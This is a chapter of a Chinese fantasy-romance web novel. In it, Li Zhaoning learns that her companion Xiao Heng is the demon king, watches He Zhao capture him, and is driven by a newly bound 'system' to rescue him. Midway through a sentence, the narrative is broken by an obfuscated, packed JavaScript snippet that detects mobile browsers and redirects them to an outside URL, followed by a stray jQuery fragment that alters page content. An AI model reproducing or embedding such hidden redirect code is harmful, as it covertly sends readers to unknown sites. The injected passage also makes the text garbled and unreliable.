浮玉山一行终于结束。
玄武和金刚拉着文老制作的煤矿箱,浮雀化成青鸟,在云端盘旋探路,芝兰则坐在它背上望景,阿蛟用气泡裹着大量煤矿,先一步遁入地下河,河水裹着气泡飞速远去。
可惜萧蘅的闪移带不了这么多东西。
李昭宁好奇:“萧蘅,你的妖力领域都有什么呀?”
萧蘅瞥她一眼,语气淡淡的:“各个方面都通一点,但不很精。”
“那就是全能喽?”李昭宁笑起来,“谦虚什么呀。”
萧蘅没接话,只是微微偏过头,耳尖却悄悄染上一抹红。
回蓟州城的路还很远。
变故,发生在半路。
小妖们打打闹闹,正要穿过一处山隘。
天色忽然暗了下来。
不是日头落山那种暗,是从四面八方涌来的、带着腥气的暗。山风骤然停歇,鸟雀噤声,连树叶都不敢晃动。
前方,几道黑影从天而降。紫雾随之弥漫,不同于一般的雾气,很厚重,像活物一般蠕动着蔓延开来,所过之处,草木以肉眼可见的速度枯萎。
萧蘅瞳孔猛然一缩:“停下!”
前方,五道身影如陨石落地,掀起万丈高的气风。
为首那人一身暗沉的玄色袍子,上面绣着诡异的紫色纹路,领口和袖口却翻出刺目的红绿交织的内衬,像是把几种不相干的颜色强行缝在一起。他拄着一根漆黑的拐杖,佝偻着背,灰白头发散落下来,遮住半边脸。
是何照。
“萧蘅,”何照抬起脸,头发缝隙里露出一只浑浊的眼睛,笑眯眯地开口,声音极其沙哑,“好久不见。”
萧蘅上前一步,将李昭宁护在身后:“何照,你什么意思?”
“没什么意思。”何照拄着拐杖,慢悠悠地往前走了一步,“就是想来看看你,还有,”他的目光越过萧蘅,落在李昭宁身上,嘴角的笑意加深,“你身边这些人。”
“与你无关。让开”
“不让呢?”
何照身后那几道黑影同时踏前一步。
那是五只万年以上的老妖。气息深沉如渊,压得人喘不过气来。但诡异的是,他们周身缭绕着若有若无的紫雾,身形时不时闪烁一下,像是介于实体与虚幻之间,那是幻兽的气息。
萧蘅一个妖,不可能打过。
他偏过头,往后看了一眼。
李昭宁的手已经按在剑柄上。她正死死盯着那几道黑影,眼神像要殊死一战。
“别动。”他的声音压得极低。
李昭宁看向他。
为什么……
“回去。”他打断她,语气不容置疑,“带她回去。”
这话是对浮雀和阿蛟说的。
浮雀急了,翅膀猛地一扇,俯冲下来:“遵命!”
萧蘅没有再回头看李昭宁。他转过身,唤出雪绸白玉扇迎敌,何照冷笑一声接招,与之不同的是,萧蘅的脊背挺得很直,像一棵孤零零立在狂风中的树。
李昭宁眼睁睁看着他的背影越来越远。
浮雀不停躲着幻兽攻击,拼命往回飞,翅膀扇得快出残影。芝兰伸手抓住李昭宁,浮雀一仰,她便上了来,却没抓着浮雀的羽毛,眼睛还在萧蘅身上。她脑子里只有一个念头:不能让他一个人。
可下一秒。
一股磅礴的妖力从身后猛然袭来,像一座雷电从天而降。
李昭宁还没来得及反应,整个人就被那股力量狠狠甩出去,然后定在原地。
动弹不得,连眼珠子都转不了。
浮雀它们也都被甩出去,然后像被点了穴一样定在原地。
芝兰从浮雀身上爬起,她完好无损,满脸惊愕地低头看向胸前。
那枚玉佩正泛着淡淡的温润光芒,像一层柔和的光罩将她护在其中。
“是奶奶和小花妖留给我的……”她喃喃道,声音发颤,“她们在保护我……”
李昭宁想说话,想喊她快跑,可嘴唇像被缝住了,发不出任何声音。
她只能眼睁睁看着。
看着萧蘅被那几道黑影围住。那些万年老妖站在他四周,像五座铁塔,把他困在中间。紫雾越来越浓,几乎要把他整个妖吞没。
看着何照笑着走向他,拐杖在地上一点一点,发出“笃、笃”的声响,像催命的鼓点。
然后,何照的声音传来。
“萧蘅,堂堂妖王,怎么落得这般田地?”
李昭宁脑子里“嗡”的一声,像有什么东西炸开了。
妖王?
萧蘅是……妖王?
她拼命想转动眼珠去看他,去看那个背影,那个她以为只是普通狐妖、只是有点傲娇有点别扭的萧蘅。
他是妖王。
从始至终,他都没告诉过她。
最开始的相遇、拌嘴……那些夜晚的守候,那些别扭的关心,那些欲言又止的眼神……
是妖王在“屈尊”陪她玩吗?
她忽然觉得自己像个笑话。
萧蘅似乎感应到了什么,忽然回过头来。隔着紫雾,隔着那些狰狞的妖影,他的目光越过一切,落在她身上。
那一眼里有很多东西。
有愧疚?有无奈?还是……别的什么?
但她看到他嘴唇微微动了动,像是想说什么,却什么也没说出来。
然后他收回目光,继续看向何照:“何照,封王一战愿赌服输,现在这般你到底想干什么?”
何照笑了,很刺耳,笑得整张脸都皱起来。
“想干什么?”他缓缓抬起手,掌心凝聚出幽暗的光芒,那光芒像活物一样扭动着,“想让你知道,这杻阳山,本就应该是我的天下。”
光芒暴涨,像一团紫色的太阳炸开。
萧蘅身形一晃,被那股力量裹挟着向后飞去。他没有挣扎,甚至没有回头再看一眼。
他得跟何照走。
这场战斗是他们两个人的,不能伤及无辜。
他放弃挣扎。
李昭宁眼睁睁看着他越来越远,那背影在她视线里越来越小,越来越模糊,最后被山林吞没,被紫雾吞噬。
她想喊,喊不出声,想动,动不了。
只能看着。
看着他消失在山林深处。
然后,一切归于平静。
何照和那些黑影都走了。紫雾慢慢散去,阳光重新照下来。
可她觉得世界一片死寂。
那股压制的力量终于消散。
她腿一软,扑通一声跪倒在地。膝盖撞在石头上,破了皮,渗出血来,但她感觉不到疼。
芝兰跑过来扶她:“姐姐。”
就在这时,脑海里忽然响起系统机械的声音:
【叮!系统检测到绑定人生命体征异常,正在重新评估绑定状态……】
李昭宁愣住了。
系统?
不是在萧蘅身上吗?
【评估完成。原绑定人萧蘅处于不可控状态,系统权限转移中.......】
【转移完成。新绑定人:李昭宁。】
【当前恋值:0。虐恋偿还机制已同步转移。】
【检测到原绑定人身陷险境,触发强制偿还机制——】
话音未落,一股无形的力量从身体深处猛然涌出,像有一只无形的大手,狠狠推了她一把。
李昭宁不受控制地站了起来,然后身体自动往前冲。
是系统的力量。
芝兰惊讶地看着她,但似乎也知道些什么了,在她的印象中,李昭宁就是神女,无所不能。她飞快把玉佩摘下来,一把塞进李昭宁手里。
“这个给你。”芝兰的声音在发抖,但眼神很坚定,“它保护过我,也能保护你。”
李昭宁握着那枚温热的玉佩,愣住了,佩上的纹路轻轻发光,像是在回应芝兰的话。
芝兰却已经松开手,往后退了一步。
“你们一定要平安回来。”
她想说点什么,但那股力量又在推她了。她猛地转身,朝萧蘅消失的方向飞去,如同火箭一般。
浮雀第一个追上去,张开翅膀,发出一声尖锐的啼叫,响彻山林。然后是阿蛟,一头钻进大地,地面轰然裂开一条大缝,河水从裂缝中暴涨而出,汹涌向前。
玄武和金刚也想追,被芝兰一把拉住。
“你们跟我留下。”芝兰说,声音已经平静下来,“咱们去了会拖后腿。先处理煤矿,等姐姐他们回来。”
“不能让姐姐这些天的努力付诸东流。”
*
山林深处。
系统的力量推着她,让她的速度快得惊人,脚不沾地,几乎是在飞。风在耳边呼啸,树枝擦过脸颊,火辣辣地疼,但她顾不上,也有些无语,在心底喊着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227474|197122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系统能不能升级一下,闪一下就到。
浮雀在她头顶跟着,忽然大叫:“前面有妖气!”
李昭宁脚步不停:“有多少?”
“很多!非常多!”
话音刚落,前方,几道黑影从林中蹿出,拦住去路。
是方才那几只恶妖。
为首的是一只虎妖,体型巨大如牛,獠牙外翻,一双眼睛血红。它盯着李昭宁,嘴角淌下黏稠的涎水:“听说人类的气很好吃……”
浮雀霎时俯冲而下,像一支离弦的箭,直取虎妖面门。虎妖被啄了个正着,惨叫着捂住眼睛。阿蛟从地底猛然蹿出,一尾巴横扫过去,直接把旁边几只恶妖掀翻在地。
但这次不一样,它们不再是乱打一气。
浮雀啄完就拉高,避开恶妖的爪子;等恶妖抬头去抓它,阿蛟的尾巴又从下盘扫过来。
扫堂腿。
绊马索。
声东击西。
浮雀拉高时正好给阿蛟让出攻击空间,阿蛟横扫时浮雀立刻俯冲补刀。
这些都是在教化学院学的,诸葛兰旌教的,李昭宁教的。
恶妖们被打得措手不及,哪怕是妖气,在浮雀与阿蛟的配合下也无济于事。
“这些东西怎么这么难缠!”
“敢不敢正面对抗!”
与此同时,山林更深处。
萧蘅被何照那股既有妖力又有幻力的力量压制着,半跪在地上。他的膝盖陷进泥土里,双手撑地,脊背却依然挺得笔直。
何照站在他面前,居高临下,嘴角噙着笑:“萧蘅,堂堂半妖,也敢跟我争?”
半妖。
这两个字从他嘴里说出来,比任何刀剑都更锋利。
萧蘅抬起头,紧咬牙关,他的眼神很平静,平静得像一潭死水。但那死水深处,有什么东西在翻涌。
何照显然很满意他的反应,嘴角的笑意加深。
“你以为自己藏得很好?万年老妖们睁一只眼闭一只眼,是给你面子。你真当自己是纯血?”
萧蘅看着他身后那团缓缓凝聚的紫雾。
雾气越聚越浓,越聚越大,最后凝成一个巨大的、似兽非兽的轮廓。
那东西有两只幽深的眼睛,像两汪深不见底的渊。周身缭绕着诡异的光芒,每闪一下,周围的草木就枯萎一分。
萧蘅瞳孔猛然收缩。
尧光,当年被封印的幻兽首领,何照竟然把它放出来了。
“你疯了,把它放出来,整个妖族都会遭殃。”
何照大笑,诡异的笑声在山林间回荡,惊起一片飞鸟。
“遭殃?它是我的力量!”他张开双臂,紫雾在他周身翻涌。
他抬手,紫雾凝聚成一道利刃,悬在半空,直指萧蘅咽喉。
“现在的你,在我眼里什么都不是。”
“尧光,吞噬之主。”萧蘅怒斥道,“它吞噬的,不只是血肉,还有妖力、灵力。他的力量会越来越强大,难以控制,你以为他最后会放过你吗?”
“你引火上身,别怪我没提醒你。”
紫雾中的那双眼睛眨了眨,像是在笑。
然后何照冷笑起来:“少在这儿危言耸听,你不过是觊觎我的力量,”他抬手指向萧蘅,紫雾利刃猛地绷直,“今天,我先杀了你。”
紫雾利刃破空,直刺萧蘅心口。
千钧一发之际,一道白光乍现,像一道惊雷劈开紫雾。
何照被那股力量震得倒飞出去,狠狠撞在一棵大树上,树干咔嚓一声断裂。
这熟悉的白光……萧蘅愣了一瞬,迫切地抬头望去。
萧蘅看着她挡在自己身前的背影,那个瘦削的却像一堵墙一样挡在他身前的背影。
他的心脏猛然开始颤动,有股难以言说的力量涌入他的心脏,涨得厉害:“……你疯了?”
李昭宁站在萧蘅身前,手握长剑,衣袍染血,发丝凌乱,脸上沾着泥和汗,但眼睛坚定如正午的曜日。
“闭嘴。”
她握紧剑柄,侧头道:“等我先砍了他,再跟你算账。”
风起四海,裹挟着不同的气息,好像回到了最初相遇时的模样。那时,是他想杀她,如今过了这么久,所有的所有,都变了。
唯一不同的是,那个傻子。
爱管闲事的傻子。
她来了。
她又来了。